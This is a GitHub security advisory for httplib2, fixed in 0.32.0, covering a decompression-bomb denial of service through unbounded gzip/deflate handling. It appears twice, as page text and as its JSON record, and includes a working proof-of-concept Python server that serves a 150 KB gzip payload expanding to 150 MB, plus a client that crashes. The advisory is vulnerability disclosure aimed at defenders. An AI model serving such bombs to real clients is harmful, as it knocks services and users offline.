GHSA-J5G9-F88F-GFJ3

Vulnerability from github – Published: 2026-07-24 15:15 – Updated: 2026-07-24 15:15
VLAI
Summary
httplib2: Decompression Bomb Denial of Service via Unbounded gzip/deflate Response Handling
Details

Summary

The httplib2 HTTP client library performs unbounded decompression of HTTP response bodies encoded with Content-Encoding: gzip or deflate. A malicious or compromised HTTP server can return a small compressed payload (approximately 150 KB) that expands to an arbitrarily large size in memory (150 MB or more), causing MemoryError or OOM-kill in the client process. This is a classic decompression bomb (zip bomb) attack against the HTTP client.

Any application using httplib2.Http().request() against untrusted or attacker-controlled HTTP endpoints is affected.

Details

Affected code: httplib2/__init__.py - _decompressContent() function

The decompression path has two unbounded operations:

  1. gzip decompression (line 394): python content = gzip.GzipFile(fileobj=io.BytesIO(new_content)).read() The .read() call with no size argument decompresses the entire gzip payload into a single in-memory bytes object. There is no limit on the decompressed size.

  2. deflate decompression (line 397): python content = zlib.decompress(content, zlib.MAX_WBITS) Similarly, zlib.decompress() returns the fully decompressed content as a single bytes object with no size bound.

  3. Automatic invocation (line 1431): _decompressContent() is called automatically on every HTTP response that includes a Content-Encoding: gzip or deflate header. The full compressed body is already buffered in memory via response.read() before decompression begins.

Root cause: There is no max_decompressed_size, streaming decompression with size tracking, or decompression ratio check anywhere in the decompression path. The library unconditionally trusts the server's compressed payload size.

Attack vector: Any HTTP server (including man-in-the-middle attackers or compromised upstream services) can trigger this by returning a response with: - Content-Encoding: gzip header - A small compressed body that decompresses to an arbitrarily large size

Proof of Concept

Step 1 - Start a malicious HTTP server that serves a gzip decompression bomb:

#!/usr/bin/env python3
"""Malicious HTTP server that serves a gzip decompression bomb."""
import gzip
import http.server
import io
import socketserver

UNCOMPRESSED_SIZE = 150 * 1024 * 1024  # 150 MB

def make_payload():
    """Create a gzip payload: ~150 KB compressed -> 150 MB decompressed."""
    buf = io.BytesIO()
    with gzip.GzipFile(fileobj=buf, mode="wb", compresslevel=9) as gz:
        chunk = b"A" * (1024 * 1024)  # 1 MB of repeating bytes
        for _ in range(UNCOMPRESSED_SIZE // len(chunk)):
            gz.write(chunk)
    return buf.getvalue()

PAYLOAD = make_payload()

class Handler(http.server.BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(200)
        self.send_header("Content-Type", "application/octet-stream")
        self.send_header("Content-Encoding", "gzip")
        self.send_header("Content-Length", str(len(PAYLOAD)))
        self.end_headers()
        self.wfile.write(PAYLOAD)
    def log_message(self, fmt, *args):
        pass

with socketserver.TCPServer(("127.0.0.1", 8000), Handler) as httpd:
    print(f"Bomb server ready: {len(PAYLOAD)} bytes compressed -> "
          f"{UNCOMPRESSED_SIZE} bytes decompressed")
    httpd.serve_forever()

Step 2 - Run the httplib2 client (in a separate terminal):

#!/usr/bin/env python3
"""Client that demonstrates MemoryError from httplib2 decompression bomb."""
import resource
import httplib2

# Set a 180 MB memory limit to make the crash deterministic
LIMIT_MB = 180
limit = LIMIT_MB * 1024 * 1024
resource.setrlimit(resource.RLIMIT_AS, (limit, limit))

http = httplib2.Http(timeout=5)
try:
    response, content = http.request("http://127.0.0.1:8000/")
    print(f"Unexpected success: received {len(content)} bytes")
except MemoryError:
    print(f"MemoryError confirmed: decompression bomb exhausted "
          f"{LIMIT_MB} MB memory limit")
    # This is the expected outcome - the 150 KB compressed payload
    # expanded to 150 MB during decompression, exceeding the limit.

Expected output (client):

MemoryError confirmed: decompression bomb exhausted 180 MB memory limit

Reproduction metrics: - Compressed payload size: 152,908 bytes (~150 KB) - Decompressed size: 157,286,400 bytes (150 MB) - Amplification ratio: ~1,029x - Client memory limit: 180 MB -> MemoryError triggered during gzip.GzipFile.read()

Impact

Severity: High

Any application using httplib2 to make HTTP requests to untrusted servers is vulnerable. The attack requires no authentication, no special configuration, and no user interaction - the server simply returns a crafted gzip-compressed response.

Parameter Value
Compressed payload ~150 KB
Decompressed size 150 MB (configurable by attacker)
Amplification ratio ~1,029x
Authentication required None
User interaction required None
Prerequisites Client makes any HTTP request to attacker-controlled server

Real-world scenarios: - Web scrapers/crawlers that fetch pages from untrusted URLs - API clients connecting to third-party services - Webhook handlers that follow redirects to attacker-controlled endpoints - CI/CD pipelines that download dependencies or artifacts over HTTP - Any MITM attacker on an unencrypted HTTP connection can inject the compressed payload

Impact scaling: The attacker can create arbitrarily large decompression bombs. A 1 MB compressed payload can decompress to several gigabytes, guaranteeing OOM-kill on virtually any system. The attack is fully deterministic and requires only a single HTTP response.

Downstream exposure: httplib2 is a widely used Python HTTP client library with millions of downloads. It is a dependency of Google's API client libraries (google-api-python-client, google-auth-httplib2), meaning applications using Google Cloud APIs may be indirectly affected if they process responses from untrusted intermediaries.


Credit

Found by a security research team from the University of Sydney, focusing on detecting open source software vulnerabilities. Liyi Zhou: https://lzhou1110.github.io/ Ziyue Wang: https://zyy0530.github.io/ Strick: https://str1ckl4nd.github.io/ Maurice: https://maurice.busystar.org/ Chenchen Yu: https://7thparkk.github.io/

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "httplib2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.32.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-59939"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-409",
      "CWE-770"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-24T15:15:05Z",
    "nvd_published_at": "2026-07-08T20:16:59Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nThe `httplib2` HTTP client library performs unbounded decompression of HTTP response bodies encoded with `Content-Encoding: gzip` or `deflate`. A malicious or compromised HTTP server can return a small compressed payload (approximately 150 KB) that expands to an arbitrarily large size in memory (150 MB or more), causing `MemoryError` or OOM-kill in the client process. This is a classic decompression bomb (zip bomb) attack against the HTTP client.\n\nAny application using `httplib2.Http().request()` against untrusted or attacker-controlled HTTP endpoints is affected.\n\n### Details\n\n**Affected code:** `httplib2/__init__.py` - `_decompressContent()` function\n\nThe decompression path has two unbounded operations:\n\n1. **gzip decompression** (line 394):\n   ```python\n   content = gzip.GzipFile(fileobj=io.BytesIO(new_content)).read()\n   ```\n   The `.read()` call with no size argument decompresses the entire gzip payload into a single in-memory bytes object. There is no limit on the decompressed size.\n\n2. **deflate decompression** (line 397):\n   ```python\n   content = zlib.decompress(content, zlib.MAX_WBITS)\n   ```\n   Similarly, `zlib.decompress()` returns the fully decompressed content as a single bytes object with no size bound.\n\n3. **Automatic invocation** (line 1431): `_decompressContent()` is called automatically on every HTTP response that includes a `Content-Encoding: gzip` or `deflate` header. The full compressed body is already buffered in memory via `response.read()` before decompression begins.\n\n**Root cause:** There is no `max_decompressed_size`, streaming decompression with size tracking, or decompression ratio check anywhere in the decompression path. The library unconditionally trusts the server\u0027s compressed payload size.\n\n**Attack vector:** Any HTTP server (including man-in-the-middle attackers or compromised upstream services) can trigger this by returning a response with:\n- `Content-Encoding: gzip` header\n- A small compressed body that decompresses to an arbitrarily large size\n\n### Proof of Concept\n\n**Step 1 - Start a malicious HTTP server that serves a gzip decompression bomb:**\n\n```python\n#!/usr/bin/env python3\n\"\"\"Malicious HTTP server that serves a gzip decompression bomb.\"\"\"\nimport gzip\nimport http.server\nimport io\nimport socketserver\n\nUNCOMPRESSED_SIZE = 150 * 1024 * 1024  # 150 MB\n\ndef make_payload():\n    \"\"\"Create a gzip payload: ~150 KB compressed -\u003e 150 MB decompressed.\"\"\"\n    buf = io.BytesIO()\n    with gzip.GzipFile(fileobj=buf, mode=\"wb\", compresslevel=9) as gz:\n        chunk = b\"A\" * (1024 * 1024)  # 1 MB of repeating bytes\n        for _ in range(UNCOMPRESSED_SIZE // len(chunk)):\n            gz.write(chunk)\n    return buf.getvalue()\n\nPAYLOAD = make_payload()\n\nclass Handler(http.server.BaseHTTPRequestHandler):\n    def do_GET(self):\n        self.send_response(200)\n        self.send_header(\"Content-Type\", \"application/octet-stream\")\n        self.send_header(\"Content-Encoding\", \"gzip\")\n        self.send_header(\"Content-Length\", str(len(PAYLOAD)))\n        self.end_headers()\n        self.wfile.write(PAYLOAD)\n    def log_message(self, fmt, *args):\n        pass\n\nwith socketserver.TCPServer((\"127.0.0.1\", 8000), Handler) as httpd:\n    print(f\"Bomb server ready: {len(PAYLOAD)} bytes compressed -\u003e \"\n          f\"{UNCOMPRESSED_SIZE} bytes decompressed\")\n    httpd.serve_forever()\n```\n\n**Step 2 - Run the httplib2 client (in a separate terminal):**\n\n```python\n#!/usr/bin/env python3\n\"\"\"Client that demonstrates MemoryError from httplib2 decompression bomb.\"\"\"\nimport resource\nimport httplib2\n\n# Set a 180 MB memory limit to make the crash deterministic\nLIMIT_MB = 180\nlimit = LIMIT_MB * 1024 * 1024\nresource.setrlimit(resource.RLIMIT_AS, (limit, limit))\n\nhttp = httplib2.Http(timeout=5)\ntry:\n    response, content = http.request(\"http://127.0.0.1:8000/\")\n    print(f\"Unexpected success: received {len(content)} bytes\")\nexcept MemoryError:\n    print(f\"MemoryError confirmed: decompression bomb exhausted \"\n          f\"{LIMIT_MB} MB memory limit\")\n    # This is the expected outcome - the 150 KB compressed payload\n    # expanded to 150 MB during decompression, exceeding the limit.\n```\n\n**Expected output (client):**\n```\nMemoryError confirmed: decompression bomb exhausted 180 MB memory limit\n```\n\n**Reproduction metrics:**\n- Compressed payload size: **152,908 bytes** (~150 KB)\n- Decompressed size: **157,286,400 bytes** (150 MB)\n- Amplification ratio: **~1,029x**\n- Client memory limit: 180 MB -\u003e `MemoryError` triggered during `gzip.GzipFile.read()`\n\n### Impact\n\n**Severity: High**\n\nAny application using `httplib2` to make HTTP requests to untrusted servers is vulnerable. The attack requires no authentication, no special configuration, and no user interaction - the server simply returns a crafted gzip-compressed response.\n\n| Parameter | Value |\n|---|---|\n| Compressed payload | ~150 KB |\n| Decompressed size | 150 MB (configurable by attacker) |\n| Amplification ratio | ~1,029x |\n| Authentication required | None |\n| User interaction required | None |\n| Prerequisites | Client makes any HTTP request to attacker-controlled server |\n\n**Real-world scenarios:**\n- **Web scrapers/crawlers** that fetch pages from untrusted URLs\n- **API clients** connecting to third-party services\n- **Webhook handlers** that follow redirects to attacker-controlled endpoints\n- **CI/CD pipelines** that download dependencies or artifacts over HTTP\n- **Any MITM attacker** on an unencrypted HTTP connection can inject the compressed payload\n\n**Impact scaling:** The attacker can create arbitrarily large decompression bombs. A 1 MB compressed payload can decompress to several gigabytes, guaranteeing OOM-kill on virtually any system. The attack is fully deterministic and requires only a single HTTP response.\n\n**Downstream exposure:** `httplib2` is a widely used Python HTTP client library with millions of downloads. It is a dependency of Google\u0027s API client libraries (`google-api-python-client`, `google-auth-httplib2`), meaning applications using Google Cloud APIs may be indirectly affected if they process responses from untrusted intermediaries.\n\n---\n### Credit\n\nFound by a security research team from the University of Sydney, focusing on detecting open source software vulnerabilities.\nLiyi Zhou: https://lzhou1110.github.io/\nZiyue Wang: https://zyy0530.github.io/\nStrick: https://str1ckl4nd.github.io/\nMaurice: https://maurice.busystar.org/\nChenchen Yu: https://7thparkk.github.io/",
  "id": "GHSA-j5g9-f88f-gfj3",
  "modified": "2026-07-24T15:15:05Z",
  "published": "2026-07-24T15:15:05Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/httplib2/httplib2/security/advisories/GHSA-j5g9-f88f-gfj3"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-59939"
    },
    {
      "type": "WEB",
      "url": "https://github.com/httplib2/httplib2/commit/87581ad6cf752fe3da2090c59058261d2d00a427"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/httplib2/httplib2"
    },
    {
      "type": "WEB",
      "url": "https://github.com/httplib2/httplib2/releases/tag/v0.32.0"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/httplib2/PYSEC-2026-3444.yaml"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "httplib2: Decompression Bomb Denial of Service via Unbounded gzip/deflate Response Handling"
}



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Nomenclature

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